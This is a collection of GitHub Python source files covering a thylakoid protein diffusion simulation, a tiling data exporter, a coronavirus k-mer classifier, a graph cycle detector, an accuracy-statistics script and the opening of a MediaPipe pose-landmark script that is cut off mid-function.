+{"seq_id":"39007122813","text":"import random,math\r\nimport numpy as np\r\nimport time\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nT0 = time.time()\r\n\r\n## wwood 25/10/16\r\n# simulating the diffusion of plastocyanin in 3D\r\n# uses brownian motion and monte carlo for a single particle\r\n### The -350 centering has been removed\r\n\r\n## wwood 25/10/17\r\n# changed to smulate end membranes\r\n# upper grana and lower stromal lamellae removed and\r\n# upper sl replaced with end membrane\r\n# no junctional slit\r\n\r\n\r\ndef Save_system(SYSTEM, filename):\r\n            # saves population in CD \r\n    SYS_FILE = open(filename, 'w')\r\n    for i in SYSTEM:\r\n        SYS_FILE.writelines(str(i[0])+\" \"+str(i[1])+\"\\n\")\r\n\r\nfor grana_radius in [190]:    \r\n    for Nos in [0.3]: #[0.25, 0.5, 0.75]: #the number of b6fs in the G and SL\r\n    \r\n        ## Model constants ( in nm )\r\n        PSII_radius = 6.7\r\n        PSI_radius = 5\r\n        LHCII_radius = 3\r\n        #grana_radius = 190 \r\n        stroma_radius = grana_radius+50\r\n        boundary = 700 #total width\r\n        grana_edge = 2*grana_radius*np.pi\r\n        \r\n        # Diffusion constants\r\n        # constants\r\n        dx = 1\r\n        dt = 1 #/(0.9*10**8)\r\n        D = 0.9\r\n        RateConst=D*dt/(dx**2) # must be less than one half\r\n        \r\n        def Plot_coords(POP,r):\r\n            X = []\r\n            Y = []\r\n            for xy in POP:\r\n                X.append(xy[0])\r\n                Y.append(xy[1])\r\n            plt.scatter(np.array(X),np.array(Y),s=r)\r\n            plt.show()\r\n        \r\n        def dist(P1,P2):\r\n            if len(P1) == 2 or len(P2) == 2:\r\n                return np.sqrt((P1[0]-P2[0])**2 + (P1[1]-P2[1])**2)\r\n            else:\r\n                return np.sqrt((P1[0]-P2[0])**2 + (P1[1]-P2[1])**2 + (P1[2]-P2[2])**2)\r\n        \r\n        # download PSII/PSII/b6f particles from previous MCMC\r\n        # change to integer (nm grid at a later stage\r\n        \r\n        PSII_COORDINATES = open('grana_particles_22_07_16_experiment_1','r').readlines()# this is double layer overlapped\r\n        UPPER_PSII_POPULATION = []\r\n        for i in PSII_COORDINATES:\r\n            i.strip(\"\\n\")\r\n            F = i.split(\" \")\r\n            if dist([int(float(F[0]))-350,int(float(F[1]))-350],[0,0]) < grana_radius-PSII_radius:\r\n                UPPER_PSII_POPULATION.append([int(float(F[0]))-350,int(float(F[1]))-350]) ## - 350 is needed to normalise\r\n        \r\n        \r\n        PSII_COORDINATES = open('grana_particles_22_07_16_experiment_2','r').readlines()# this is double layer overlapped\r\n        LOWER_PSII_POPULATION = []\r\n        for i in PSII_COORDINATES:\r\n            i.strip(\"\\n\")\r\n            F = i.split(\" \")\r\n            if dist([int(float(F[0]))-350,int(float(F[1]))-350],[0,0]) < grana_radius-PSII_radius:\r\n                LOWER_PSII_POPULATION.append([int(float(F[0]))-350,int(float(F[1]))-350]) ## - 350 is needed to normalise\r\n        \r\n        \r\n        \r\n        PSII_POPULATION = UPPER_PSII_POPULATION #,LOWER_PSII_POPULATION]\r\n        \"\"\"\r\n        LHCII_POPULATION = []\r\n        # the following creates the LHCII population to be commented out once saved\r\n        # code adapted from hard discs 2\r\n        def COLLISION(P1,P2,R):\r\n            return dist(P1,P2) < R\r\n        \r\n        def SYST_COLL(P,SYSTEM,R):\r\n            \r\n            for P1 in SYSTEM:\r\n                if COLLISION(P,P1,R) == True and P != P1:\r\n                    return True\r\n            return False\r\n         \r\n        while len(LHCII_POPULATION) <= 4*len(PSII_POPULATION): #N LHCII\r\n            P = [int(random.random()*2*grana_radius) - grana_radius,int(random.random()*2*grana_radius)-grana_radius]\r\n            while dist(P,[0,0]) > grana_radius-LHCII_radius:\r\n                P = [int(random.random()*2*grana_radius) - grana_radius,int(random.random()*2*grana_radius)-grana_radius]\r\n            del_x = 0\r\n            del_y = 0\r\n            if len(LHCII_POPULATION)> 0:\r\n                C = SYST_COLL(P,PSII_POPULATION,PSII_radius+LHCII_radius)+SYST_COLL(P,LHCII_POPULATION,LHCII_radius+LHCII_radius)\r\n            else:    \r\n                C = SYST_COLL(P,PSII_POPULATION,PSII_radius+LHCII_radius)\r\n            while C == True:      \r\n                del_x = random.choice([-1,1])*dx\r\n                del_y = random.choice([-1,1])*dx\r\n                P1 = [P[0]+del_x,P[1]+del_y]\r\n                if dist(P1,[0,0]) < grana_radius-LHCII_radius:\r\n                    P = P1\r\n                if len(LHCII_POPULATION)> 0:\r\n                    C = SYST_COLL(P,PSII_POPULATION,PSII_radius+LHCII_radius)+SYST_COLL(P,LHCII_POPULATION,LHCII_radius+LHCII_radius)\r\n                else:    \r\n                    C = SYST_COLL(P,PSII_POPULATION,PSII_radius+LHCII_radius)\r\n            LHCII_POPULATION.append(P)\r\n            #print(P)\r\n        \r\n        def Save_system(SYSTEM, filename):\r\n            # saves population in CD \r\n            SYS_FILE = open(filename, 'w')\r\n            for i in SYSTEM:\r\n                SYS_FILE.writelines(str(i[0])+\" \"+str(i[1])+\"\\n\")\r\n        \r\n        \r\n        #Save_system(LHCII_POPULATION,\"lhcii_particles_06_09_17\")\r\n        #end of LHCII creation\r\n        \r\n        \r\n        #load the LHCII file\r\n        \"\"\"\r\n        LHCII_COORDINATES = open(\"lhcii_particles_06_09_17_\"+str(Nos)+\" \"+str(grana_radius),'r').readlines()\r\n        LHCII_POPULATION = []\r\n        for i in LHCII_COORDINATES:\r\n            i.strip(\"\\n\")\r\n            F = i.split(\" \")\r\n            if dist([int(float(F[0])),int(float(F[1]))],[0,0]) < grana_radius-LHCII_radius:\r\n                LHCII_POPULATION.append([int(float(F[0])),int(float(F[1]))])\r\n        \r\n        # x2 PSI coordinates representing 2 layers\r\n        PSI_COORDINATES = open('end_particles_25_07_17_experiment_','r').readlines()\r\n        UPPER_PSI_POPULATION = []\r\n        for i in PSI_COORDINATES:\r\n            i.strip(\"\\n\")\r\n            F = i.split(\" \")\r\n            if (dist([int(float(F[0]))-350,int(float(F[1]))-350],[0,0]) > grana_radius + PSI_radius) & (dist([int(float(F[0]))-350,int(float(F[1]))-350],[0,0]) < grana_radius + PSI_radius+50):\r\n                UPPER_PSI_POPULATION.append([int(float(F[0]))-350,int(float(F[1]))-350])\r\n        \r\n        \"\"\"\r\n        PSI_COORDINATES = open('stroma_particles_22_07_16_experiment_1','r').readlines()\r\n        LOWER_PSI_POPULATION = []\r\n        for i in PSI_COORDINATES:\r\n            i.strip(\"\\n\")\r\n            F = i.split(\" \")\r\n            if (dist([int(float(F[0]))-350,int(float(F[1]))-350],[0,0]) > grana_radius + PSI_radius) & (dist([int(float(F[0]))-350,int(float(F[1]))-350],[0,0]) < grana_radius + PSI_radius+50):\r\n                LOWER_PSI_POPULATION.append([-(int(float(F[0]))-350),-(int(float(F[1]))-350)])\r\n        \"\"\"\r\n        \r\n        \r\n        PSI_POPULATION = UPPER_PSI_POPULATION#+LOWER_PSI_POPULATION\r\n        ## create boundaries no. 2 commented out for now\r\n        \r\n        \r\n        # outer boundary\r\n        BOUNDARIES2 = [(int(stroma_radius*np.cos(T*(2*np.pi/1000.0))-np.sin(T*(2*np.pi/1000.0))),int(stroma_radius*np.sin(T*(2*np.pi/1000.0))+np.cos(T*(2*np.pi/1000.0)))) for T in range(1000)]\r\n        \r\n        \r\n       \r\n        # create b6f population\r\n        print(len(PSII_POPULATION))\r\n        Nb6f = 0.6*len(PSI_POPULATION)\r\n        #Nb6f = int(len(PSII_POPULATION)*0.4) # this is where the fraction of particles that are b6f is set\r\n        \r\n        B6F_POPULATION = []\r\n        while len(B6F_POPULATION) <= Nb6f*Nos:\r\n            #print(len(B6F_POPULATION))\r\n            NEW = random.choice(PSII_POPULATION)\r\n            NEW2 = [int(NEW[0]),int(NEW[1])]\r\n            if NEW2 not in B6F_POPULATION:\r\n                B6F_POPULATION.append(NEW)\r\n                PSII_POPULATION.pop(PSII_POPULATION.index(NEW))\r\n        \r\n         #int(len(PSI_POPULATION)/4) # this is where the fraction of particles that are b6f is set\r\n        B6F_POPULATION_stroma = []\r\n        while len(B6F_POPULATION_stroma) <= Nb6f*(1-Nos):\r\n            NEW = random.choice(PSI_POPULATION)\r\n            NEW2 = [int(NEW[0]),int(NEW[1])]\r\n            if NEW2 not in B6F_POPULATION_stroma:\r\n                B6F_POPULATION_stroma.append(NEW)\r\n                PSI_POPULATION.pop(PSI_POPULATION.index(NEW))\r\n        \r\n        Save_system(B6F_POPULATION, \"b6f_grana_particles \"+str(Nos)+\" \"+str(grana_radius))\r\n        Save_system(B6F_POPULATION_stroma, \"b6f_stroma_particles \"+str(Nos)+\" \"+str(grana_radius))\r\n        \r\n        \"\"\"\r\n        B6F_POPULATION_stroma = []\r\n        while len(B6F_POPULATION_stroma) <= Nos*len(B6F_POPULATION):\r\n            print(len(B6F_POPULATION_stroma)) \r\n            P = [int(random.random()*2*stroma_radius) - stroma_radius,int(random.random()*2*stroma_radius)-stroma_radius]\r\n            while dist(P,[0,0]) < grana_radius+PSII_radius:\r\n                P = [int(random.random()*2*stroma_radius) - stroma_radius,int(random.random()*2*stroma_radius)-stroma_radius]\r\n            del_x = 0\r\n            del_y = 0\r\n            if len(B6F_POPULATION_stroma)> 0:\r\n                C = SYST_COLL(P,PSI_POPULATION,PSII_radius+PSI_radius)+SYST_COLL(P,B6F_POPULATION_stroma,PSII_radius+PSII_radius)\r\n            else:    \r\n                C = SYST_COLL(P,PSI_POPULATION,PSII_radius+PSI_radius)\r\n            while C == True:      \r\n                del_x = random.choice([-1,1])*dx\r\n                del_y = random.choice([-1,1])*dx\r\n                P1 = [P[0]+del_x,P[1]+del_y]\r\n                if (dist(P1,[0,0]) > grana_radius+PSII_radius) and (dist(P1,[0,0]) < stroma_radius - PSII_radius):\r\n                    P = P1\r\n                if len(B6F_POPULATION_stroma)> 0:\r\n                    C = SYST_COLL(P,PSI_POPULATION,PSII_radius+PSI_radius)+SYST_COLL(P,B6F_POPULATION_stroma,PSII_radius+PSII_radius)\r\n                else:    \r\n                    C = SYST_COLL(P,PSI_POPULATION,PSII_radius+PSI_radius)\r\n            B6F_POPULATION_stroma.append(P)\r\n        \r\n        \r\n        B6F_POPULATION = []\r\n        \r\n        #B6F_COORDINATES = open(\"b6f_grana_particles \"+str(Nos)+\" \"+str(grana_radius),'r').readlines()\r\n        \r\n        for i in B6F_COORDINATES:\r\n            B6F_POPULATION\r\n            i.strip(\"\\n\")\r\n            F = i.split(\" \")\r\n            if dist([int(float(F[0])),int(float(F[1]))],[0,0]) < grana_radius-PSII_radius:\r\n                B6F_POPULATION.append([int(float(F[0])),int(float(F[1]))])\r\n        \r\n        \r\n        #remove B6Fs from PSII pop\r\n        for B in B6F_POPULATION:\r\n            if B in PSII_POPULATION:\r\n                PSII_POPULATION.pop(PSII_POPULATION.index(B))\r\n                \r\n        B6F_POPULATION_stroma = []\r\n        \r\n        \r\n        B6F_COORDINATES_stroma = open(\"b6f_stroma_particles \"+str(Nos)+\" \"+str(grana_radius),'r').readlines()\r\n        \r\n        for i in B6F_COORDINATES_stroma:\r\n            i.strip(\"\\n\")\r\n            F = i.split(\" \")\r\n            #if dist([int(float(F[0])),int(float(F[1]))],[0,0]) < grana_radius-PSII_radius:\r\n            B6F_POPULATION_stroma.append([int(float(F[0])),int(float(F[1]))])\r\n        \"\"\"\r\n        def step(P):\r\n            S = random.choice([[-1,0],[0,-1],[1,0],[0,1]])\r\n            \r\n            if (P[0]+S[0],P[1]+S[1]) in BOUNDARIES:\r\n        \r\n                return P\r\n        \r\n            \r\n        \r\n            for psii in PSII_POPULATION:\r\n                if dist([P[0]+S[0],P[1]+S[1]],psii)<PSII_radius:\r\n                    return P\r\n            \r\n            for psi in PSI_POPULATION:\r\n                if dist([P[0]+S[0],P[1]+S[1]],psi)<PSI_radius:\r\n                    return P\r\n        \r\n        \r\n            return [P[0]+S[0],P[1]+S[1]]\r\n        \r\n        \r\n        \r\n        def display_coordinates(pop):\r\n            for p in pop:\r\n                print(p[0],p[1])\r\n            \r\n        #main\r\n        DATA = {}\r\n        G_to_SL = []\r\n        \r\n        print(\"PSII: \",len(PSII_POPULATION))\r\n        print(\"PSI: \",len(PSI_POPULATION))\r\n        print(\"B6F_GRANA: \",len(B6F_POPULATION))\r\n        print(\"B6F_SL: \",len(B6F_POPULATION_stroma))\r\n        \r\n        for B in range(5000,6000,1000): # no junctional slit\r\n            print(\"Current B:\"+str(B)+\" \"+str(grana_radius)+\" \"+str(Nos)+\" Current time\" +str(time.time()-T0))\r\n            Swidth = B\r\n            #3 equal size slits starting from 2pi/3 radians apart\r\n            BOUNDARIES1a = [(int(grana_radius*np.cos(T*(2*np.pi/10000.0))-np.sin(T*(2*np.pi/10000.0))),int(grana_radius*np.sin(T*(2*np.pi/10000.0))+np.cos(T*(2*np.pi/10000.0)))) for T in range(int(Swidth/3.0))]\r\n            BOUNDARIES1b = [(int(grana_radius*np.cos(T*(2*np.pi/10000.0 + 2*np.pi/3))-np.sin(T*(2*np.pi/10000.0 + 2*np.pi/3))),int(grana_radius*np.sin(T*(2*np.pi/10000.0 + 2*np.pi/3))+np.cos(T*(2*np.pi/10000.0 + 2*np.pi/3)))) for T in range(int(Swidth/3.0))]\r\n            BOUNDARIES1c = [(int(grana_radius*np.cos(T*(2*np.pi/10000.0 + 4*np.pi/3))-np.sin(T*(2*np.pi/10000.0 + 4*np.pi/3))),int(grana_radius*np.sin(T*(2*np.pi/10000.0 + 4*np.pi/3))+np.cos(T*(2*np.pi/10000.0 + 4*np.pi/3)))) for T in range(int(Swidth/3.0))]\r\n            #BOUNDARIES1 = [(int(grana_radius*np.cos(T*(2*np.pi/1000.0))-np.sin(T*(2*np.pi/1000.0))),int(grana_radius*np.sin(T*(2*np.pi/1000.0))+np.cos(T*(2*np.pi/1000.0)))) for T in range(1000)]\r\n            \r\n            #Bshow = set(BOUNDARIES1a[:]) | set(BOUNDARIES1b[:]) | set(BOUNDARIES1c[:])\r\n            \r\n            BOUNDARIES = set(BOUNDARIES1a[:]) | set(BOUNDARIES1b[:]) | set(BOUNDARIES1c[:]) | set(BOUNDARIES2[:])\r\n            \r\n            \"\"\"\r\n            #the following is for displaying the slits\r\n            Bx = []\r\n            By = []\r\n            for b in Bshow:\r\n                Bx.append(b[0])\r\n                By.append(b[1])\r\n            plt.scatter(np.array(Bx),np.array(By))\r\n            plt.show()\r\n            \"\"\"\r\n            T = []\r\n            LOC = []\r\n            NOS_STRING = str(10*Nos)[0]\r\n            #datafile=open(\"results_\"+str(grana_radius)+\"NosG\"+NOS_STRING+\"_grana_PQ_25_09_17_slit_\"+str(Swidth)+\"graph1\", 'w')\r\n            \r\n            \r\n            for i in range(1):\r\n                #print(i)\r\n        \r\n                \r\n                P = random.choice(PSII_POPULATION)\r\n        \r\n                \r\n                PSII_POPULATION.pop(PSII_POPULATION.index(P)) # remove the current particle from the population\r\n                \r\n                Pstart = P\r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                b6f_collision = False\r\n                t = 0\r\n            \r\n            \r\n            \r\n                while b6f_collision == False and t <= 35*10**4: #10 s trapped particles\r\n                    P = step(P)\r\n                     #print(P[0],P[1])\r\n                    t += dt\r\n                #X.append(P[0])\r\n                #Y.append(P[1])\r\n                    if dist(P[0:2],[0,0]) <= grana_radius:\r\n                        for b6f in B6F_POPULATION:\r\n                            \r\n                            if dist(P,b6f)<PSII_radius:\r\n                                b6f_collision = True\r\n                                break\r\n                        \r\n                    else:            \r\n                        for b6f in B6F_POPULATION_stroma:\r\n                            \r\n                            if dist(P,b6f)<PSII_radius:\r\n                                b6f_collision = True\r\n                                break\r\n                            \r\n                    \r\n                T.append(t)\r\n                #datafile.write(str(Pstart[0])+\" \"+str(Pstart[1])+\" \"+str(P[0])+\" \"+str(P[1])+\" \"+str(t/4)+\"\\n\")\r\n                # the t/4 in file is time in ms\r\n                PSII_POPULATION.append(Pstart)\r\n                LOC.append([P[0],P[1]])\r\n                #PSII_POPULATION.append(B6F[0:2])\r\n                #print(i)\r\n            PrSL = 0\r\n            for l in LOC:\r\n                if dist(l,[0,0])>grana_radius:\r\n                    PrSL += 1\r\n            print([100-B/100,PrSL])\r\n            DATA[B] = T\r\n            \r\n            \r\n            #datafile.close()\r\n\r\n\r\nprint(time.time()-T0)\r\nPlot_coords(PSII_POPULATION,PSII_radius)\r\nPlot_coords(LHCII_POPULATION,LHCII_radius)\r\nPlot_coords(PSI_POPULATION,PSI_radius)\r\nPlot_coords(B6F_POPULATION,PSII_radius)\r\nPlot_coords(B6F_POPULATION_stroma,PSII_radius)\r\n\r\n","repo_name":"WhjWood/PQ-and-PC-diffusion-Simulations","sub_path":"MC_3d_PQ.py","file_name":"MC_3d_PQ.py","file_ext":"py","file_size_in_byte":16184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8725241367","text":"\nfrom tiling.brick_layout import  BrickLayout\nfrom util.tiling_util import polygon_align_length\nimport itertools\nimport numpy as np\nEPS = 1e-7\ndef to_dzn_file(brick_layout : BrickLayout, save_path : str):\n\n    # get the features needed\n    nums_edge_collision, num_edge_adjacent, collision_edges, adjacent_edge = convert_layout_to_dzn_features(brick_layout)\n\n    # write the data\n    f = open(save_path, 'w')\n    f.write(f\"nums_node = {len(brick_layout.node_features)};\\n\")\n    f.write(f\"nums_edge_collision = {nums_edge_collision};\\n\")\n    f.write(f\"nums_edge_adjacent = {num_edge_adjacent};\\n\")\n    f.write(\"from_adjacent = [\" + \", \".join([str(edge + 1) for edge in adjacent_edge[0, :]]) + \"];\\n\")\n    f.write(\"to_adjacent = [\" + \", \".join([str(edge + 1) for edge in adjacent_edge[1, :]]) + \"];\\n\")\n    f.write(\"from_collision = [\" + \", \".join([str(edge + 1) for edge in collision_edges[0, :]]) + \"];\\n\")\n    f.write(\"to_collision = [\" + \", \".join([str(edge + 1) for edge in collision_edges[1, :]]) + \"];\\n\")\n\n    f.close()\n\ndef convert_layout_to_dzn_features(brick_layout : BrickLayout, recompute_graph = False):\n\n    # assert len(brick_layout.collide_edge_features.shape) > 1\n    num_edge_collision = brick_layout.collide_edge_features.shape[0]\n    collision_edges = brick_layout.collide_edge_index\n\n    if not recompute_graph:\n        num_edge_adjacent = brick_layout.align_edge_features.shape[0]\n        adjacent_edge = brick_layout.align_edge_index\n        align_edge_lengths = brick_layout.align_edge_features[:,1] if len(brick_layout.align_edge_features.shape) > 1 else []\n    else:\n        adjacent_edge = []\n        align_edge_lengths = []\n        num_edge_adjacent = 0\n        for idx_i, idx_j in itertools.combinations(range(brick_layout.node_feature.shape[0]), 2):\n            tile_i = brick_layout.complete_graph.tiles[brick_layout.inverse_index[idx_i]]\n            tile_j = brick_layout.complete_graph.tiles[brick_layout.inverse_index[idx_j]]\n            align_length = polygon_align_length(tile_i, tile_j)\n            if  align_length > EPS:\n                adjacent_edge.append([idx_i, idx_j])\n                adjacent_edge.append([idx_j, idx_i])\n                align_edge_lengths = align_edge_lengths + [align_length] * 2\n                num_edge_adjacent += 2\n        adjacent_edge = np.array(adjacent_edge).T\n        align_edge_lengths = np.array(align_edge_lengths)\n\n\n    return num_edge_collision, num_edge_adjacent, collision_edges, adjacent_edge, align_edge_lengths\n\nif __name__ == '__main__':\n    pass","repo_name":"xuhaocuhk/TilinGNN","sub_path":"solver/IP_solver/data_util.py","file_name":"data_util.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"22"}
+{"seq_id":"12424531969","text":"from sklearn.preprocessing import MinMaxScaler\nfrom train import *\nfrom validate import *\nimport pickle\nimport time\n\nDict = {}\ndictnum = 1\nnoOfUnits = 10\ndropout = 0.2\nnoOFClass = 3\nepochs = 10\nbatchSize = 64\n\n\n# maxGenomes = 27000\n\ndef readPincleFile(filename):\n    recordsInt = []\n    with open(filename, 'rb') as f:\n        recordsInt = pickle.load(f)\n        return recordsInt\n\n\ndef getOutputArray(classLabel):\n    if classLabel == 1:\n        return [1, 0, 0]\n    elif classLabel == 2:\n        return [0, 1, 0]\n    else:\n        return [0, 0, 1]\n\n\ndef readPickleFile(recordsFile, records, outputs, recordsFileClass):\n    recordsInternal = readPincleFile(recordsFile)\n    records += recordsInternal\n    output = getOutputArray(recordsFileClass)\n    for j in range(len(recordsInternal)):\n        outputs.append(output)\n\n\ndef divdeDatsset(training_set_scaled, outputs, records):\n    x_train = []\n    y_train = []\n    x_test = []\n    y_test = []\n\n    for i in range(len(records)):\n        if i % 2 == 0 and i <= 10000:\n            x_train.append(training_set_scaled[i, :])\n            y_train.append(outputs[i])\n        else:\n            x_test.append(training_set_scaled[i, :])\n            y_test.append(outputs[i])\n\n    return x_train, y_train, x_test, y_test\n\n\ndef validate(x_test, y_test):\n    x_test, y_test = np.array(x_test), np.array(y_test)\n    x_test = np.reshape(x_test, (x_test.shape[0], x_test.shape[1], 1))\n    y_test = np.reshape(y_test, (y_test.shape[0], y_test.shape[1], 1))\n    score = regressor.evaluate(x_test, y_test, verbose=0)\n    return score\n\n\ndef printScore(scores, regressor):\n    print(scores)\n    for i in range(len(regressor.metrics_names)):\n        print(\"%s: %.2f%%\" % (regressor.metrics_names[i], scores[i] * 100))\n\n\ndatasetCSV = open(\n    f'largedataset/result.csv',\n    'w')\ndatasetCSV.writelines(\"k-mer,Test set,accuracy,Time,Loss,Dict Size\")\n\nfor k in range(2, 11):\n    recordsFile = [f'largedataset\\kmer\\Alphacoronavirus_0-10000.csv\\kemr-{k}-records.pickle',\n                   f'largedataset\\kmer\\Beata-MERS_0-10000.csv\\kemr-{k}-records.pickle',\n                   f'largedataset\\kmer\\Beata-SARS 2_0-10000.csv\\kemr-{k}-records.pickle']\n    recordsFileClass = [1,\n                        2,\n                        3]\n\n    records = []\n    outputs = []\n    for i in range(len(recordsFile)):\n        readPickleFile(recordsFile[i], records, outputs, recordsFileClass[i])\n\n    Dict = readPincleFile(f'largedataset\\kmer\\dict-{k}.pickle')\n\n    print(f'Dictionory Size:  {len(Dict)}')\n    sc = MinMaxScaler(feature_range=(0, 1))\n\n    training_set_scaled = sc.fit_transform(records)\n\n    x_train, y_train, x_test, y_test = divdeDatsset(training_set_scaled, outputs, records)\n\n    from keras.models import Sequential\n\n    # Initialising the RNN\n    regressor = Sequential()\n\n    train(x_train, y_train, regressor, noOfUnits, dropout, noOFClass, epochs, batchSize)\n\n    scores = validate(x_test, y_test)\n\n    printScore(scores, regressor)\n\n    for i in range(1, 11):\n        start_time = time.time()\n        if i == 1:\n            recordsFile[2] = f'largedataset\\kmer\\Beata-SARS 2_{i - 1}-{i}0000.csv\\kemr-{k}-records.pickle'\n        else:\n            recordsFile[2] = f'largedataset\\kmer\\Beata-SARS 2_{i - 1}0000-{i}0000.csv\\kemr-{k}-records.pickle'\n        print(f'File : {recordsFile[2]} K : {k}')\n        records = []\n        outputs = []\n        for j in range(len(recordsFile)):\n            readPickleFile(recordsFile[j], records, outputs, recordsFileClass[j])\n        training_set_scaled = sc.fit_transform(records)\n        scores = validate(training_set_scaled, outputs)\n        printScore(scores, regressor)\n        timeinMs = (time.time() - start_time) * 1000\n        print(f'time in MS : {timeinMs}')\n        datasetCSV.writelines(f\"\\n{k},Test set {i},{scores[1] * 100},{timeinMs},{scores[0]},{len(Dict)}\")\n\ndatasetCSV.close();\n# predicted_output = validate(x_test, y_test, regressor)\n# predicted_output_transform = sc.inverse_transform(predicted_output)\n\n# for i in range(len(y_test)):\n#     print(y_test[i])\n#     print(predicted_output[i])\n# print(predicted_output_transform)\n# record=bio.read(filename, \"fasta\");\n\n# print(record);\n","repo_name":"ganeshkproject/covid-2-classifier","sub_path":"SARS-Cov-2/largesetKfold.py","file_name":"largesetKfold.py","file_ext":"py","file_size_in_byte":4175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74814802934","text":"class Graph:\r\n    def __init__(self):\r\n        self.graph = {}\r\n\r\n    def add_vertex(self, vertex):\r\n        self.graph[vertex] = []\r\n\r\n    def add_edge(self, vertex1, vertex2):\r\n        self.graph[vertex1].append(vertex2)\r\n\r\n    def has_cycle(self):\r\n        visited = set()\r\n        stack = set()\r\n\r\n        def dfs(node):\r\n            visited.add(node)\r\n            stack.add(node)\r\n\r\n            for neighbor in self.graph[node]:\r\n                if neighbor not in visited:\r\n                    if dfs(neighbor):\r\n                        return True\r\n                elif neighbor in stack:\r\n                    return True\r\n\r\n            stack.remove(node)\r\n            return False\r\n\r\n        for vertex in self.graph:\r\n            if vertex not in visited:\r\n                if dfs(vertex):\r\n                    return True\r\n\r\n        return False\r\n\r\n# Exemplo de uso\r\ngraph = Graph()\r\ngraph.add_vertex('A')\r\ngraph.add_vertex('B')\r\ngraph.add_vertex('C')\r\ngraph.add_edge('A', 'B')\r\ngraph.add_edge('B', 'C')\r\ngraph.add_edge('C', 'A')\r\n\r\nprint(graph.has_cycle())  # Saída: True\r\n\r\n# Neste exemplo, a função 'has_cycle' \r\n# utiliza a busca em profundidade modificada para rastrear se algum vértice \r\n# é visitado mais de uma vez durante a travessia, indicando a presença de um cliclo","repo_name":"Luh022/Grafos-Complexidade","sub_path":"implement-ciclo-grafo.py","file_name":"implement-ciclo-grafo.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41747571071","text":"import os\r\nimport argparse\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nimport prz.analysis.classification as clf_an\r\nfrom prz.utils.io import dump_json\r\nfrom prz.utils.plot import plot_acc_comparison\r\n\r\nANIM_TAGS = [\r\n    '1C',\r\n    '2C',\r\n    '3C',\r\n    '4C',\r\n    '5C',\r\n    '6C',\r\n    '7C',\r\n    '22TW',\r\n    '23TW',\r\n    '24TW',\r\n    '26TW',\r\n    '28TW',\r\n    '30TW',\r\n]\r\n\r\ndef get_group_ids(input_path: str):\r\n    group_data = pd.read_csv(input_path)\r\n    anim_tags =  group_data['anim_tag'].unique()\r\n    filter = lambda x : group_data.anim_tag == x\r\n\r\n    return {\r\n        anim_tag: (\r\n            group_data[filter(anim_tag)]['anim_tag_id'].unique()[0]\r\n        )\r\n        for anim_tag in anim_tags\r\n    }\r\n\r\ndef get_args():\r\n    parser = argparse.ArgumentParser(\r\n        description='Generate classification stats from the preditions.'\r\n    )\r\n\r\n    parser.add_argument(\r\n        '-i',\r\n        '--input',\r\n        type=str,\r\n        required=True,\r\n        nargs='+',\r\n        help='Input CSV file containing the predictions.'\r\n    )\r\n    parser.add_argument(\r\n        '-g',\r\n        '--groups',\r\n        type=str,\r\n        required=True,\r\n        nargs='+',\r\n        help='CSV file containing the groups IDs.'\r\n    )\r\n    parser.add_argument(\r\n        '-t',\r\n        '--tags',\r\n        type=str,\r\n        required=True,\r\n        nargs='+',\r\n        help='Experiment tags.'\r\n    )\r\n    parser.add_argument(\r\n        '-o',\r\n        '--output',\r\n        type=str,\r\n        default='outputs/',\r\n        help='Output path.'\r\n    )\r\n\r\n    return parser.parse_args()\r\n\r\ndef main():\r\n    args = get_args()\r\n\r\n    assert len(args.input) == len(args.groups) == len(args.tags)\r\n\r\n    plotable_accs = {}\r\n\r\n    for zipped_args in zip(args.input, args.groups, args.tags):\r\n        input_path, groups_path, tag = zipped_args\r\n        print('Processing: ', input_path)\r\n\r\n        data = pd.read_csv(input_path)\r\n        groups = get_group_ids(groups_path)\r\n        accs = {\r\n            _group : clf_an.accuracy_from_labels(\r\n                data[data.group_id == _group_id]['y_true'],\r\n                data[data.group_id == _group_id]['y_pred'],\r\n            )\r\n            for _group, _group_id in groups.items()\r\n        }\r\n        plotable_accs[tag] = [accs[item] for item in ANIM_TAGS]\r\n\r\n        dump_json(\r\n            {\r\n                'accs': accs,\r\n                **clf_an.get_stats_report(list(accs.values()))\r\n            },\r\n            os.path.join(os.path.dirname(input_path), 'acc_stats.json')\r\n        )\r\n\r\n    plot_acc_comparison(plotable_accs, args.output, ANIM_TAGS)\r\n\r\nif __name__ == '__main__':\r\n    main()","repo_name":"gustavozf/PRZ_3M","sub_path":"clf_rates.py","file_name":"clf_rates.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41230345859","text":"import math\nimport cv2\nimport numpy as np\nfrom time import time, sleep\nimport mediapipe as mp\nimport os\nimport datetime\n\n\ndef print_pose_details(results, image_width, image_height):\n    '''\n    Function to Print the Landmark Poses\n    '''\n    if results.pose_landmarks:\n        for i in range(len(results.pose_landmarks.landmark)):\n            prompt = f'''\n            Land Mark Name: {mp.solutions.pose.PoseLandmark(i).name}:\n                x: {results.pose_landmarks.landmark[mp.solutions.pose.PoseLandmark(i).value].x * image_width}\n                y: {results.pose_landmarks.landmark[mp.solutions.pose.PoseLandmark(i).value].y * image_height}\n                z: {results.pose_landmarks.landmark[mp.solutions.pose.PoseLandmark(i).value].z * image_width}\n                visibility: {results.pose_landmarks.landmark[mp.solutions.pose.PoseLandmark(i).value].visibility}\\n\n            '''\n\n            print(prompt)\n\n\ndef landmark_image_prepare(image, pose, image_width, image_height, draw_landmark=True, flip_image=False):\n    '''\n    Function to DeNormalize the Landmark Poses Based on Mediapipe Documentation and Annotate the Image\n    '''\n\n    image = cv2.resize(image, (image_width, image_height))\n\n    if flip_image:\n        image = cv2.flip(image, 1)\n\n    image.flags.writeable = False\n    image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n    results = pose.process(image)\n\n    image.flags.writeable = True\n    image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n\n    if draw_landmark:\n        